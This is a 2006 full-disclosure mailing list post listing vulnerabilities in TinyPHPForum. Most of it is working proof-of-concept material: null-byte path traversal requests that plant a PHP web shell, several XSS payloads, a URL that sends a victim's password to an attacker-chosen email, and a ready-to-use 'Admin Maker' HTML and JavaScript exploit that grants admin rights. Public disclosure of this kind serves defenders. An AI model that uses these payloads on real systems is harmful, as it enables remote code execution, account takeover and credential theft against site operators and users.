[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] TinyPHPForum Multiple Vulnerabilities
- To: vuldb@xxxxxxxxxxxxxxxxx, vuln@xxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] TinyPHPForum Multiple Vulnerabilities
- From: SirDarckCat <sirdarckcat@xxxxxxxxx>
- Date: Sat, 29 Jul 2006 23:44:52 -0500
TinyPHPForum Multiple Vulnerabilities.
http://sourceforge.net/projects/tinyphpforum/
----------------------------------------------------
TinyPHPForum is a forum based on file handling.
And has shown multiple vulnerabilities in several previous
releases.
Here I present the bugs for the actual version at 29/July
====================================================
Arbitrary File Handling.
Code:
PoC:
http://www.server.com/action.php?action=npost
POST:
fid=../rshell.php%00
tid=<?php system($_GET['c']);?>
txt=tmp
------
Code:
http://www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?phpsystem($_GET['c']);?>&p=<?php
system($_GET['c']);?>
------
====================================================
XSS, even with magic_quotes:
Code:
PoC:
[a]' style='top:epresionje(eval(this.sss));' sss='alert();[/a]
[img]javascript:alert();[/img]
------
XSS.
Code:
PoC:
http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS>
------
Code:
PoC:
http://www.server.com/search.php?query=<XSS>
------
====================================================
Password Disclosure:
Code:
http://www.server.com/error.php?err=200&uname=victim&email=attacker@xxxxxxxx
------
====================================================
Admin Maker xD
Code:
PoC:
<FORM action=updatepf.php method=post enctype="multipart/form-data">
NOM:<INPUT name=uname><br>
<INPUT type=file name=userfile><br>
MAIL: <INPUT type=text name=email>
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit value="Enviar consulta">
</FORM>
------
A working exploit is anexed.
====================================================
Att.
Sirdarckcat
www.elhacker.net
--
Att.
SirDarckCat@xxxxxxxxx
http://www.google.com/search?q=sirdarckcat
TinyPHPForum 3.6 Admin Maker<br>
By SirDarckCat from elhacker.net
<FORM method=post enctype="multipart/form-data">
Existing User:<INPUT name=uname><br>
<INPUT type=file name=userfile style="visibility:HIDDEN"><br>
<INPUT type=hidden name=email value="a@xxx">
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit>
</FORM>
<script language="JavaScript">
document.forms[0].action=prompt("Path to
forum","http://www.server.com/tpf/")+"updatepf.php";
</script>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/